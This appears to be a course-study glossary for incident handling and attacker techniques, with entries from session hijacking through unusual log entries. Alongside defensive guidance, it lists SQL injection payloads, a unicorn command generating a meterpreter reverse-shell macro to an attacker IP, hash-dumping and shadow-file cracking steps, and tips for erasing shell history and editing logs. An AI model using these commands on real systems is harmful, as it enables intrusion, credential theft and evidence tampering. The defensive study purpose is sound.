Session Hijacking and Sniffing Defenses - Preparation	3	57	• Hijacking synthesizes sniffing plus spoofing, the defenses for those attacks are combined for session hijacking.• Hard-code ARP tables on sensitive LANs• Activate port-level security on your switches --Lock down each physical port to allow only a single MAC address --Or lock down each physical port to allow only a specific MAC address• Use dynamic ARP Inspect with DHCP snooping**• Disable LLMNR and WPAD!!!•** For defense against network-based hijacking attacks, encrypt session and use strong authentication--Secure Shell (SSH v2) or VPN with encryption--Especially important for critical infrastructure components-- Dont telnet to your firewall,routers, directory systems, or PKI machines If originating host is compromised, strong authentication and encrypted paths do not help, because session is stolen at originating machine... Defense starts on page 57
SessionID	4	118	session credential, sequence of numbers or characters sent back to browser, generated upon succesful user authentication
SET	5	18	• Social Engineering Toolkit • Wrapper software
set type=any	2	34	means we want any type of DNS record
Setting the Return Pointer - Buffer Overflow	3	76	Most difficult part of creating a buffer overflow exploit The attacker doesn't know exactly which memory location the executable code is in. -Depends how the target system was complied-Some of it is determined at run time.Guess what the return pointer should be.-looking at the source code helps- Even with a debugger, you can analyze the code and get an estimate of how much space is included between the buffer and the return pointer
SharpView	2	137	Standalone EXE tool to enumerate different windows domain and server settings such as: Get-Domain User; Get-DomainGroup; Get-Netcomputer
sharpview Get-DomainUser -Domain domainName -Credential ksmith/Password123 -Server ServerIP | findstr "^name"	2	137	lists all domain users, the findstr "^name" lists only users with the string name at the beginning
sharpview Get-NetComputer -Domain domainName -Credential ksmith/Password123 -Server ServerIP | findstr "^operatingsystem ^name"	2	137	lists allcomputers resgistered in the domain including OS level • findstr "^operatingsystem ^name" lists lines beginning with name or operating systems
Shell Code	3	74	exploit where an attacker invokes a shell to feed arbitrary commands
Shell Code creation	3	87	routine for metasploit that packages up shellcode created based on all routines supported in a tight piece of code ready to lauch at a vitcim
Shell History	5	67	• ~/.bash_history • Editing shell history pg 68

Shell History- Editing	5	68	Most recently typed commands. Shell history is written when the shell is exited gracefully. If an attacker wants to edit the file, they have to exit their shell, enter another shell, edit history file, then move on. Can also use killall, kill -9 bash or kill -9 [pid of shell] or by changing the environment variable for the HISTFILE.
ShellShock	4	83	Some web applications take input from a user and process that input by invoking shell to run a program to handle the input
Shodan	2	57	looks at the banners info for services located on websites to do research (he stated this on OnDemand) **can look at ports on public IP**
Shodan example	2	58	Is an online service that stores service banners for services such as FTP, Telnet; It saves the unique signatures that include vendor, version currently running (identifying vulnerabilities) • advanced search operators: org, net, port • negte search parameters with !
Short Term Containment actions	1	94	disconnect network cable • move VLAN • isolate switch port • change DNS name • firewall filters • power •• Forensics p97, use dd for bit-by-bit binary image
Shoveling GUI	5	12	Used with VNC and other application-level trojans. GUI is pushed as an outgoing connection through a firewall.
Shoveling Shell	3	16	also known as "reverse shell" used to Push a shell session from a client to a server or to an attacker
SIFT	1	41	Forensics analysis software
SilentEye	5	110	Embeds encrypted data and other files into JPEG, BMP, and WAVE formats
site: [website] asp	2	47	search a site for active server pages Searches only within the given domain
situational_awareness/network/arpscan	2	138	PowerShell Empire command that arp scans local IPv4 systems
situational_awareness/network/sharefinder	2	138	PowerShell Empire command that finds accessable shares
S-Mail	5	109	Stego: Hides data in exe and dll files
smart_hashdump	4	22	another password hash collection through meterpreter • identify system processes that match native processor architecture (not svchost.exe), migrate to that PID using migrate command • run post/windows/gather/smart_hashdump to retrieve hashes from the dist • will retrieve local account password hashes, if system is a DC will attempt to get local accounts and domain account password hashes • will fail if User Access Control (UAC) enabled
Smashing the Stack - Buffer Overflow	3	68	User data is written into the allocated buffer by the subroutine---If the data size is not checked RP can be overwritten by user data • Attacker exploit places machine code in the buffer and overwrites the RP---When function returns, attacker's code is executed
SMB - Establishing a session from Windows	2	132	1) On Windows machines the "net use" command can establish a session: net use \\[target ip] - the currently logged on users credentials are sent via pass through authentication - default administrative share is selected (typically ipc$, but other shares such as admin$, C$, or others may be connnected) 2) To connect as another user or to a specific share: net use \\[target ip]\[sharename] [passwprd] /u -[username] - User does not need to be in the admin group to ipc$ or other open shares - if you leave off the password Windows will prompt you for it 3) Connect as a no user (anonymous or NULL SMB session): net use \\[target ip] "" /u -"" - A null SMB session has a blank user name and blank password
SMB - Server Message Block	4	52	used in Windows for file and print sharing, and domain authentication; exploitable with pass-the-hash attack
SMB Password Guessing	2	134	commands and examples on page 134, and 135
SMB Security Features	2	144	Chart shows the different versions of SMB and the security features • **Disable SMB 1**
SMB sessions - dropping	2	142	net use * /del - command will drop all outbound SMB sessions net session \\[Ipaddr] /del - command will drop an inbound SMB session
SMB sessions - viewing	2	142	"net use" views connections that you have established OUTBOUND "net session" view INBOUND established SMB connections
SMB Sessions Defenses (2)	2	143	• Preparation (cont.) • Block access to the following ports across network boundaries where SMB sessions are not required for admin or file share usage - • TCP/UDP 445 - MS Server Message Block • TCP 135 - RPC/DCE Endpoint mapper • UDP 137 - NetBOIS Name Service • UDP 138 - NetBOIS Datagram Service • TCP 139 - NetBIOS Session Service • Of course, block all ports except those required • Alternatively, allow access to these ports only from systems or networks that absolutely require SMB access to a given destination(file servers and domain controllers) • Private VLANs (PVLANs) are a switch feature that can help implement this • Identification - • Check for access to the ports listed above in logs and IDS alerts
SMB sessions with linux	2	140	use smbclient commands • examples on page

SMB Usage - Windows	1	62	net view \\[TargetIPAddr] displays file shares on system net session Looks at inbound SMB sessions net use Looks at outbound SMB sessions nbtstate -S Examines NetBIOS over TCP/IP activity
smbclient	5	77	Linux smbclient can also read data from Alternate Data Streams from a Windows share; must know the stream name to refer to it
smbclient	2	131	smb tools
smbclient //Ipaddress/file$ -U [username] -m SMB2	2	140	connects to specified share • way to make an interactive SMB connection
smbclient -L //[Windows IP addr] -U [username] -m	2	140	tool used to establish SMB sessions from Linux to Windows. Can be used to push files to or pull files from the target as well -L required for windows ls to list out, get <file> to pull it down • example on page
SMBHASH	4	54	smbmount command reads the hashes from the enviroment variable named SMBHASH, overriding any passwords provided by the attacker, using the hash for authentication to the target instead
smbmount	4	54	command reads the hashes from environment variable named SMBHASH, overriding passwords provided by attacker, uses the hash for authentication to the target instead
smbmount	2	131	smb tools
Snarfing Application Data	3	35	• Once data is flowing through our proxy we can start harvesting various sensitive data - User IDs, Passwords, Session identifiers, URLs, etc. • We can even invoke keystroke loggers within browsers - MitMf has a module called JSkeylogger which allows us to grab keystrokes by injecting code into viewed webpages. • MitMf also has a tool called ScreenShotter which invokesHTML5 Canvas to take a screenshot of the browser.
Sniffers (Passive & Active Sniffing)	3	26	Sniffers gather all information transmitted across a line• For broadcast media (such as ethernet or a wireless network), sniffers allow an attacker to gather passwords• For ethernet, all data is broadcast on the LAN segment - Switched ethernet limits data to a specifc destination physical port o a switch - Switches perform switching by determining which MAC addresses are connected by which physical interface (by observing the source MAC address of ethernet frames, storing this information in memory (often called a CAM table)• most common of hacker tools• gathers traffic off of the network, which an attacker can read in real time, or squirrel away in a file• many attacks are discovered only when a sniffer log consumes all available file space
Sniffers (Passive & Active Sniffing) 2	3	26	• Sniffers are among the most common of hacker tools. They gather traffic off of the network, which an attacker can read in real time or squirrel away in a file. - Many attacks are discovered only when a sniffer log consumes all available file space. - When an Ethernet interface is gathering all traffic regardless of its destination hardware address, it is said to be in "promiscuous mode." This hardware address is known as a MAC address, and each Ethernet card is programmed with a unique MAC address value. - To sniff in a switched environment, the attacker needs to redirect the flow of traffic on the LAN, either by going after the switch itself or going after the machine sending the traffic.
Sniffing SSH	3	44	• Another tool included with Dsniff can do a similar attack against SSH (protocol version 1 only) • SSHmitm substitutes its public key tor the SSH server's, setting up two SSH connections - One from client to attacker, the other from attacker to server • Also, this message is displayed on clients any time you rekey the SSH daemons. • message is on page 44
Sniffing/Session Hijacking Defenses: Identification	3	58	Users lose their connections to their sessions. (This could be network congestion) ARP Entries that are messed up - Check on windows: C:\ arp -a - Check on Unix $ arp -a or arp -e Check across the network with ARPWatch programLook at DNS Cache on Windows client - C:\ ipconfig /displaydns Error message from SSH Clients --> used as a potential indicator of compromise (IOC) for session hijacking against SSH client
Socat Project	3	9	• project takes the concepts that Netcat applies to TCP and UDP and makes them more generic so that Socat can communicate by using any data channels, including files, pipes, devices, sockets, programs, and more. It also supports SSL and raw IP.
social engineering	2	60	numbers for war dialing can be collected using social engineering
Social Engineering (SE) pretexts	2	40	used with namechk to target users social network accounts ; example, sending that user an email about his account
Social Engineering Toolkit (SET)	5	18	Social Engineering Toolkit has wrapper functionality.
sonic screwdriver - US CIA	4	69	malware to infect Apple devices with private Extensible Firmware Interface (EFI)
Sophos Anti-Rootkit	5	56	Windows- Rootkit detection tool
SpeedGuide	1	52	website for port information

SpiderFoot	2	26	Open-source, GPL licensed OSINT data collection tool • Linux, Mac, Win • collects info from hundreds of online sources when provided a seed target • see also p55 WB
SpiderFoot examples	2	27	Status view: discloses number of unique events; Modules: OSINT sources • has Graph view • SpiderFoot errors bottom of p27 • example of a SpiderFoot chart on p28 • see also p55 WB
Split DNS	2	37	Publishes external name information in external servers, internal name information is only accessible in internal servers
sptoolkit	1	21	helps test and track phishing
SQL - union	4	93	merges together the results of two select statement; Fred' union select name, 1, '1',1,'1' from master..sysdatabases;-- This command attempts to retieve database names
SQL Injection	4	88	A technique that tries to manipulate a back end database by going through the web application itself, and trying to add info to a SQL statement. The web app takes user input and adds it into a SQL statement to retrive, update or delete data in the database. When successfully implemented attackers may be able retrieve information that hasn't been authorized including changing account information, updating various tables in the DB moving entire datasets. Formatting user input into SQL satement that is sent to and run at the database
SQL Injection - Error messages	4	92	Database error, SQL error, SQL Syntax Error, ODBC Error
SQL Injection - Getting Database Structure	4	93	using command to get table structure from SQL database (union select name, 1 '1',1,'1' from master..sysdatabases) grabs database column names •• example on page
SQL injection - grabbing more data	4	92	if the attacker type (' or 1=1;--) then 1=1 is always true, so the database will thinks the user name is "or true This will retrieve all users from the database. Can even get the admin's ID number •• example on page
SQL Injection - Identification, Containment, Erad + Recov	4	95	**Identification** -Search web application logs for special characters(';" etc), or phrases such as union, select, join, inner - DLP tools may be able to detect exfiltration event for PII • Although encryption may hamper the ability to detect • **Containment:** - Block source IP address and/or account being exploited • **Eradication and Recovery:** - Remove attacker data from the system - Launch fraud investigation if required
SQL injection - Select	4	88	used for query; select [field] from [table] where [variable] = '[value]'
SQL injection Defenses	4	94	**Preparation**: - Limit the permissions of the web app when accessing the database, it wont eliminate SQL injection, but can limit damage; Filter inputdata to remove characters used to manipulate the data: defends agains (cross-Site Scripting or XXS) but not effective for SQL injection; ***Parameterized queries*** eleminates risk of SQL injection simpler for most programmers, improves database performance; • ***ModSecurity*** offers solid filtering features for Apache, IIS and Nginx
SQL Injection example - finding errors	4	91	
SQL Injection Examples: Finding Errors	4	92	Suppose Web app has:select * from users where name = ' (value)'--Suppose attacker types in a name of:--Fred'--Resulting SQL will be:select * from users where name = 'Fred';---Those final two ' marks may will cause a syntax error! •• example on page
SQL injection flaw scanning tools	4	89	Nmap Scripting Engine (SQLInject.nse); Zed Attack Proxy (ZAP); Burp Suite; Sqlmap; Havij
SQL injecton (Scenario)	5	132	Scenario walkthrough. • see also mistake - TGTarget #
SQL query characters	4	90	After target user input string has been identified use standard database logic elements and see what happens • Double dash (--) comment delimiter • Semicolon (;) query terminator • Asterisk (*) wildcard selector • Percent sign(%) matches substrings • Underscore (_) matches any character • Other useful entities are OR, TRUE, 1=1, SELECT, JOIN, and UPDATE
SQL Slammer	1	83	Massive outbreak occurred in 15 minutes
SQL Update Statement	4	88	the update statement must include table, column, and value. I.E update <table> set <column (field)> = <value>
SQL vulnerability searching	4	89	Attackers look for these by: Finding a user supplied string that will be part of a database query (usernames, account numbers, product SKU, etc) • Adding string quotation characters (' or ") to the user data to see how the system reacts when data is submitted. • Use various tools to automate scanning for SQL injection flaws like Nmap, ZAP Proxy, Burp Suite, sqlmap. • JavaScript does a good job of filtering, can be bypassed
srvinfo - rpcclient	2	141	shows the OS type and version

SSL and SSH (Sniffing)	3	41	•Step 1: The attacker runs the DNS Spoofing program and a web Proxy primarily or SSH proxy. •Step 2: The victim tries to resolve a name (perhaps by running a browser and trying to surf to a given site). DNS Spoofing detects a request for the targeted domain and sends a fake answer mapping the domain name to the Attacker's own IP address. • Step 3: victim's browser establishes an SSL connection (with web proxy process on the attacker's machine) • Step 4: The web proxy establishes its own SSL connection with the real destination web server. • Step 5: The victim sees a message saying that the web servers certificate isn't signed by a recognized Certificate Authority (CA). However, most users simply continue the session! As the user accesses the website, all traffic appears on the attacker's machine. The same process applies to SSH. SSH proxy is only for SSH sniffing. Web proxy for SSL.
SSL Firefox warning message	3	42	See Slide
SSL Warning Messages - Edge	3	43	Since the cert is not properly signed. See screenshot for additional info
SSL Warnings Avoiding sslstrip+ and bettercap	3	48	• The certificate-substitution techniques will generate a warning message for users when establishing an SSL connection. A few other tools sidestep this warning message so that the user never gets the message. Moxie Marlinspike released a tool called sslstrip that implements a new variation of attack against SSL. For these new , the bettercap non-transparent proxy simply rewrites all https:// links from the web server going back to the browser as http:// links, essentially stripping SSL from the interaction. • When most SSL-using web servers receive the http:// request, they perform a redirect of the browser using HTTP 302 messages, redirecting http://ww.mybank.com to https://www.mybank.com. That way, HTTP access is typically jacked up to HTTPS access.
SSL Warnings -dodging them	3	45	• Attacker has numerous options available to prevent that SSL warning message by the browser - Compromise a CA or RA and issue certs • Bleed the server's keys from memory - Vulnerability in some versions of Apache, which dumps system memory via malformed heartbeat requests - powerBleed • Build a bogus cert that has an MD5 hash collision with a trusted cert Firesheep and DroidSheep tools; sslstrip.
SSL Warnings -dodging them 2	3	46	• Hash collision bogus cert generated as proot of concept by A. Sotirov, et al in 2009 - Find a flaw in SSL orTLS • Marsh Ray discovered such a problem in 2009 • Thai Duong and Juiiano Kizzo discovered an issue in 2011 in TLS 1.0 and earlier, exploited, with Browser Exploit Against SSL/ TLS (BEAST), using JavaScnpt in a browser to send enciypted messages with chosen plaintext and a related attack focused on compression (CRIME) in 2012 - Find a flaw in the way browsers validate certificates
SSL Warnings Easier methods for dodging	3	47	• Are those too hard? There are other, far easier options for an attacker to avoid browser SSL warning messages - Compromise browser and import attacker's cert as trusted - Trick user into accepting cert through social engineering e-mail, pop-ups, or other means - Sit in the middle and tell the browser to use HTTP, not HTTPS • bettercap tool does this - Attack sites that use SSL only for authentication with cleartext HTTP for the post-authenticated, session
SSL Warnings Easier methods for dodging 2	3	47	• Another approach is to launch a Man-in-the-Middle attack, where the bad guy uses a tool to speak HTTP to the browser and HTTPS to a web server, rewriting all HTTPS links into HTTP links. This approach is used by bettercap
SSL Warnings Easier methods for dodging 3	3	47	• Yet another way to dodge SSL is to simply attack websites that rely on SSL for only part of an interaction with users (such as authentication), and then use HTTP for the rest of the interaction.
sslstrip tool	3	48	• Sit in the middle and tell the browser to use HTTP, not HTTPS • replaced by bettercap
Stack	3	67	Push things on the top of the stack, you pop things from the top of the stack
Standard error	3	10	When Netcat is used in client mode, messages from the tool itself associated with the connection are sent to Standard Error.
standard error - sdterr	3	17	2 used in netcat for standard error messages
standard in - stdin	3	17	0 used in netcat for standard input
standard out - stdout	3	17	1 used in netcat for standard output
start msconfig.exe	1	68	can be run from CMD or Start | Run • GUI to see startup config
startup lists	1	68	wmic startup list full
Stash	5	109	Hides data in a variety of image formats
stateful packet filter	2	104	remembers the outgoing SYNs; ACK scan will not work through a properly configured stateful packet filtering device

stderr	3	10	When Netcat is used in client mode, messages from the tool itself associated with the connection are sent to Standard Error.
Steganography	5	108	Concealing the fact that you are sending "sensitive" information ---Data hiding ---Can hide in a variety of formats- Images (Bmp, Gif, Jpg) Word Documents, Text Documents, Machine generated images
StegExpose	5	115	java utility in lossless images where Least Significant Bit (LSB); supports a number of different detectors or athematicial analyis; quick analyis; ability to run on a large number of files
Stego Defenses	5	116	• Preparation: • Get familiar with stego tools • Look for changes to critical web server files (file integrity checkin tools) • Identification: • If you have original sourcce image, detection is easy • Perform a diff or file comparison and see whether they are different • MD5 or SHA-1 hashes can help • Stego might not change the size or make any observable changes, but it does change the data • If you are working an HR or legal case, take direction from legal team• Containment • Work with law enforcement and HR • Erad, Recov: Work with your company's legal team
Stego Tools	5	109	Jsteg - Hides in jpeg images using DCT coefficients--MP3Stego - Hides in mpeg files --S-Mail - Hides data in exe and dll files --Invisible Secrets - Hides data in banner ads that appear on websites --Stash - Hides data in a variety of image formats--Hydan - Hides data in Unix/Linux and Windows executables --OpenStego - Embeds data and digital watermarks into images --SilentEye - Embeds encrypted data and other files into JEPG, BMP, and WAVE formats ---OpenPuff - Supports images, audio, video and Flash-Adobe files, etc.---• Also supports multi-password support--• Plausible deniability----• Multiple rounds of encryption with different algorithms
Stego: Detection	5	115	StegExpose: Jave utility to detect stego in lossless images where Least Significant Bit (LSB) techniques --This stego is where the LSBs which determine color are modified --This leads to a very slight (think imperceptible) change of color made to the original image Supports a number of different "detectors" or mathematical analysis techniques to detect stego For quick analysis, it can also use "cheap" or quick analysis methods to detect the presense of stego Has the ability to run on a large number of files very quickly
Streams	5	77	includes a very handy option for deleting a stream without impacting the host file.
Streams (Win)	5	77	program that includes a very handy option for deleting a stream without impacting the host file; tool by Mark Russinovich;
Streams shell extension utility (Win)	5	77	Ryan Means wrote a shell extension utility that adds "streams" viewing capabilities to Windows in the Properties window for each file
Streams-finding hidden	5	77	Use antivirus tool to find malicious code in streams (nearly all have it); Many anti-spyware tools lack ADS detection functionality; Thrid party tools for finding alternate data stream in NTFS (LADS, Streams-includes an option for deleting a stream)
Strict Transport Security - HTTP	2	22	browsers use SSL/TLS certificates to identify an imposter site that attempts to impersonate legit sites
string /var/cache/nscd/hosts	3	58	shows some dns entries on unix
Stuxnet	5	45	Kernel level rootkit used as weaponized malware. Used stolen device driver signing keys to load malicious material into the kernel.
Stuxnet Worm	4	62	• 2010• multi-platform• Infects Windows then searched them looking for Siemens industrial control software• Altered messages to SCADA systems to manipulate the equipment they conrolled- included 4 zero-day exploitsSelf-deleting •• had a variety of mechanisms: file explorer zero day, USB infection, and more self-destructing functionality to remove itself after 24 June 2012
Subroutine Call	3	66	most modern programming languages include the concept of a subroutine call. In this program, execution starts in the main funtions
SubVert	5	48	VM-based rootkit. First proof of concept used where an attacker inserts a hypervisor between the hardware and the OS.
SUCKit	5	46	Super User Control Kit. Modified kernel in memory
sudo /opt/Responder/Responder.py -I eth0	3	54	stars up responder •• example on p133 WB
sudo jackit --script commands.txt	2	83	an attack on wireless keyboard using Jackit, Crazyradio PA and Ducky Script example on page
SUID program			When a user runs a SUID program on Linux system, program runs with owner permission, not the user running the program. Example: "passwd" which any user can use to change permissions but can not run directly on the /etc/passwd and /etc/shadow to make changes.
sumfuq	5	41	First kernel-mode rootkit for SunOS 4.1.X
Summarize your findings	1	153	does it look like an actual threat, perceived threat?
Suspicious Activity Report (SAR)	1	24	Federal Reserve require banks to send this
SWAMP - Software Assurance Marketplace	3	95	Free automated code checking tool for C and C++ All operating systems

switched ethernet	3	26	switches look at destination MAC addres and ony sends data to the required port on the switch. Switches map from MAC address (layer2) to physical address (layer 1) in memory on the switch called a Content Addressable Memory (CAM) table
SYN	2	100	Synchronze
SYN Floods	4	135	Typically spoofed, never complete a tcp 3 way. Sends a huge number of SYNs, focused on sucking up the bandwidth or the connection queue of the victim focused with bogus traffic, easier for ISPs to block by looking for abnormal traffic patterns
SYN scans	2	103	only sends initial SYN and waits for the SYN-ACK responce, ACK never sent..stealthier. Host can issue a netstat -an command to look for connections in the SYN_RECEIVED state
Syrian Electronic Army - SEA	4	69	developing polymorphic Android malware
SYS_open	5	51	system calls that rooty can change in kernel mode
SYS_pread	5	51	system calls that rooty can change in kernel mode
Syslog Unix/Linux Log Editing	5	66	Main log files can be found by viewing /etc/syslog.conf. Attacker might check this location to find others. Other important log locations are: /var/log/secure, /var/log/messages, /var/log/httpd/error_log, /var/log/httpd/access_log (last two are httpd specific). These are often edited by hand or script.
System and Data Access - Preperation	1	34	Incident team may need pre-arranged system admin accounts • store ACCT & PW in sealed envelope in locked container only to be used if no Admin is available in emergency for IH •
System Call Table	5	42	An array maintained by the kernel that maps individual system call names and numbers into the corresponding code inside the kernel needed to handle each system call. User mode proceses to interact with kernel
System Memory Map	5	46	In Windows, maps memory in kernel and can be manipulated by rootkits.
System Owner	1		The owner of the system is the only one that can decide to put a system back into production.
SYSTEM.EVTX	5	81	Each .LOG file is periodically rewritten into an .EVT format in this file. These files are readable through the Event viewer and are write protected and cannot be altered on a running system.
SYSTEM.LOG	5	81	The windows event logger produces a set of buffer files called .LOG files. This is one of the three primary windows event types.
systemctl	2	113	best way to stop a service in linux :
systemctl status	0	0	this can also tell you what service is running if you have the port number
systemctl disable service_name	2	113	disables named service
systemctl list-units --type service	2	113	list services, if they are loaded, active, running/exited and a description
system-level detection (host)	1	48	Identification occurs based on activity on host • AV tools, endpoint security squites, file integrity tools
Take Notes	1	28	5W's • actions taken • questions asked, answers rcvd • commands typed • systems downed • Date & time stamps • handlers name • audio recorder or still camera also good
Target Analysis	1	136	probable targets (info and processing capability) • what is info worth, who may benefit, possible ways to acquire it (2 or 3 moste likely methods)
Task manager	1	64	GUI to see start-up processes
task scheduler	1	71	GUI to schedule tasks on a system
tasklist	1	64	command line tool to view running processes • /v runs verbosely for more detailed output on windows
tasklist /m	5	28	list of DLLs loaded by every running process
tasklist /m /fi "pid eq [pid]"	5	28	command line to list DLLs loaded by a specific process
tasklist /m /fi "pid eq pid"	1	64	command-line option & loaded DLLs for process ID
tasklist /svc	1	66	shows which services are running out of each process on the host • screen shot in WB page 15
tasklist /v	1	64	/v runs verbosely for more detailed output • screen shot in WB page 13
taskmgr.exe	1	64	starts the GUI to see start-up processes
TCP	2	98	connection-oriented, sequence preserved and retransmitted if needed
TCP and UDP ports	2	99	65,536 ports each. Port list maintained by IANA. • commonality both contain source & destination ports. Common ports - TCP 80= web server, TCP 445= Windows Server Message Block (SMB), UDP 53= DNS server, TCP 6000= X Windows server
TCP Checksum Bypass	2	117	Many IDS and IPS do not validate the TCP checksum. Too much overhead---An attacker can insert a TCP Reset with an invalid checksum to clear the IDS/IPS buffer.---Target system will drop any packet with an invalid TCP Checksum, per checksum RFC's. • example on page
TCP Connect scans			require more overhead in terms of packets and time due to 3-way handshake
TCP Header	2	101	see diagram• includes the source and destination ports, as well as other elements that a port scanner will manipulate as it generates packets, like TCP Control Bits, Acknowledgement number, Sequence number
TCP initial sequnce number mode	5	99	see covert_TCP: SEQ mode or book for more info

TCP Layer	3	34	• We can even inject malicious tiles and content into the TCP Stream • MitMf can insert malicious .hta files into the stream - This will be done with a fake update notification, prompting the user to run the .hta application - This module is called HTA Drive-By • MitMf can also backdoor executable files it sees in transit - This is called FilePwn • Bettercap also has plugins tor arbitrary TCP moditication - Simple plugin architecture and a tull tcp proxy • Both Bettercap and MitMf have the ability to manipulate TCP data on the fly. We can also intercept executable files and automatically backdoor them using the Back Door Factory (BDF) and BDF proxy. • Finally, both of these tools have the ability to create custom plug-ins for TCP manipulation as well.
TCP port 445	2	99	Windows Server Message Block (SMB)
TCP port 6000	2	99	usuall indicates X Window server
TCP port 80	2	99	web server
TCP sequence numbers - nmap	2	105	measures greatest common denominator and how quickly they change over time
TCP sequence prediction	2	103	useful in spoofing attacks
TCP/IP usage examination	1	63	see cheat sheet - examine TCP/IP usage • commands on page
tcpdump -nn port 27017	1	49	tcpdump is scanning to find host listening on port 27017
TCPView	1	75	maps listening TCP and UDP ports back to owning process • made by Sysinternals
Team Building	1	30	ID qualified People • Choose local, centralized, or combo team • Multidisciplinary best: Security(IT and physical), Operations (sys admin), Network MGMT, Legal, HR, Public Affairs, Disaster Recovery (business continuity planning), Union Rep
Team Issues	1	31	Burn-out; comp time is important
Team Organization	1	32	on-site/on-location (reports to business unit w/ additional duty to help IH) • Command post w/ commo support • response time baseline (15 - 90 min) w/ silled person available in N minutes
Team training	1	37	planning/training meeting on scenarios • tools/techniques training • training issues: create forensics images and keyboard skill while under fire • counter hack challenges
Teardrop Attack - DoS	4	124	Strangely fragmented packets, Denial of Service malformed packet attack
techie handler	1	32	someone capable to handle the "technical" issues
Terminator	3	92	work by using values that will not carry over as part of a copy function in memory
THC-Scan	2	61	• War Dialing Tool• can complete about 1,000 phone calls in an 8 hour span• tradiaional modem based war dialer
The Future - Long Term?	5	152	We live in the golden age of hacking• Rapid adoption of new and untest technologies• We're using these technologies to secure some of our society's most valuable assets• Numerous vulnerabilities• Lots of information easily available for learning
The Future: A Secure World	5	154	• Vendors finally get their act together - Organizations deploying and using the systems need to as well• Technology is truly tested before deployment• This is a very costly proposition...and therefore probably quite a way off• Is government regulation and oversight the solution?
The Future: Big Problems	5	153	Attackers continue to discover holes in the infrastructure --Major, life-impacting attacks occur• Terrorism• Cyber warfare• Joy-ride gone wrong • Critical systems crash, hurting people---My guess as to what will be the major hole:• Infrastructure Routing• DNS exploit• IOS gaping hole • iOS or Android flaw - phone outage possibly• Devastating Windows worm/bot combo• Firmware attacks against cell phones or electrical systems
The Sleuth Kit	1	41	Forensics analysis software
Themida	5	19	• packing algorithms and tools
Thinstall	5	19	• packing algorithms and tools • commercial
Three-way handshake	2	100	*All "legitimate" TCP connections are established through the three-way-handshake (HTTP, telnet, ftp, etc) -Handshake allows for establishment of sequence numbers (ISN= Initial Sequence Number)- six control bits - SYN, ACK, FIN, RESET, URG, PUSH • control bits set independently of eachother
Thumbprint - Espionage Identification	1	137	• Before/ after hours access, work weekends, volunteering to empty paper recycling• Pattern of access violations in audit trails• Leak seeding (media leaks)• Thumbprint critical files and search for keyword - Custom network-based IDS signatures - Custom firewall/IPS signature-matching technology - Google searches can be useful if attacker is storing information on pubicly accessible websites
Titan Rain	1	135	Many recent high profile attacks were espionage
traceroute	2	93	Sends packets with small Time-To Live (TTL) values, measures all routers from a given source to destination
traceroute -4/ -6	2	93	forces traceroute to use IPV4 and IPV6
Traditional Ethernet	3	26	• usually implemented in a hub, is a broadcast medium, which broadcasts all data to all systems connected to the LAN segment making it inherently sniffable
Tribal Flood Network	4	131	specialized DDoS tool.
Tribal Flood Network 2000 (TFN2K)	4	131	specialized DDoS tool.
Tripwire	5	57	Can be used to detect kernel level rootkits and registry modification.
trojan horse	5	6	program that looks innocuous but is sinister

Trojan horse , backdoor capabilities	5	15	common capabilities: Keystroke logger (gets passwords) • Create dialog boxes (social engineering) • lock-up / reboot a machine • get detailed system info • access files • create VPNs • access camera and audio • Many of these features are found in Meterpreter
Tshark	3	27	text mode program to display wireshark results in a terminal window
TTL	2	93	TTL was created so that packets have a finite lifetime (up to 255 hops) before being discarded - an ICMP Time Exceeded message comes back windows starting TTL-128, linux/mac - 64
TTL guessing - nmap	2	105	rounds up to the next nearest power of 2 because many system types have a TTL of 2**n or (2**n)-1
Tunneling and covert channels	5	90	You can carry any protocol on top or inside of another protocol. The first protocol is encapsulated inside of packets of the second protocol
type (windows)	5	75	command can be used to create and interact with file streams. almost equivalent to linux "cat" command
type [file] > [file1]:[stream]	5	75	using "type" to create an alternate data stream by adding [file] as ADS to [file1] in Windows example type 1.exe > YJEOZD.pdf:notepad.exe It makes 1.exe stream attached to YJEOZD.pdf to create notepad.exe
UBEA (User Behavioral & Enity Anayltics)	5	85	looks at pateerns of "odd" behavior i.e. accounts logged on many machines; accessing thousands of files; multiple failed logon from one machine
UDP	2	98	sessionless, get there if you can • IP included source and dest address of each packet
UDP Header	2	102	• see diagram "Stateless" protocol, retransmissions are handled by the application or not done at all • includes source and destination ports
UDP port 53	2	99	DNS server
UDP scans	2	103	helps locate vulnerable UDP services (53 DNS, 111 portmapper, 161 SNMP)
UID 0	2	92	without running UID0, Nmap sends SYN to port 80 instead of ACK
Unauthorized Use	1	141	user is allowed normal access but is abusing it • usually email problems and inappropriate web surfing
underground communication	2	10	chat, web, informal grouping, hacker conferences, excellent communication
Underground Community - Trends	2	9	Attack tools are getting easier to use and more easily distributed-- Higher-quality, extremely functional attack tools The rise of the anti-disclosure movement - Script kiddies are abusing tools. Vendors dont want vulnerabilities to be publicly released. Some groups are no longer releasing exploits publicly "No Free Bugs" movement. Other hacker groups are targeting proponents of full disclosure. Significant implications on disclosure with respect to the Digital Millennium Copyrights Act (DMCA)-- Excellent communication through the computer underground --- Rise of Hacktivism
unicorn - info screen shot	3	108	screen shot of unicorn info
Unicorn- Creating Evil Macros	3	107	cd /home/tools/unicorn ; python unicorn.py widows/meterpreter/reverse_https 10.10.75.1. 443 macro
Unix System Logs	5	66	Stored in ASCII format
Unix/Linux Password hashes Decoding	4	25	linux/unix use salts and newer OS usespassword-hashing rounds • old systems use: new systems use $ $HashType$Salt$Hash $1 = MD5, $2 = Blowfish, $5 = SHA-256, $6 = SHA = 512 example on pg
Unix/linux Passwords	4	24	• Early unix/linux stored passwords DES encryption (no salt) both username and passwd in /etc/passwd • Later MD5 password hashes were used followed by blowfish, SHA-256, SHA-512 (allusing salt values 4 then 8-byte), usernames and other info sotred /etc/passwd (world readable); password hashes /etc/shadow
Unneeded Services	2	127	In Windows - stop or delete services in Services control panel In Unix - edit /etc/inetd.conf or /etc/xinetd.d files, as well as rc.d files
unnotice employee	1	149	"secret thief" most serious threat, an evil actor from a competetor
Unplanned sharing	2	18	info that is obtained by: hacked email, third-party websites, employee social media, public forum etc..
unshadow /etc/passwd /etc/shadow > combined	4	31	With John the Ripper with Shadowed passwords, you need root level access, and must merge /etc/passwd and /etc/shadow •• example p168 WB
Unusual accounts	1	69	check for new or unusual accounts in admin group *** commands on page
Unusual Files	1	70	check for sudden major decreases in space • can check files size through explorer ** commands on page
Unusual Items	1	73	check the windows perfomace monitor tool (Task Manager) to look for unusual system crashes
Unusual Log Entries	1	72	review event log for suspicious events (event log stopped; Win File Protection not active; MS Telnet service started, failed log-on attempts/locked out accounts ** commands on page
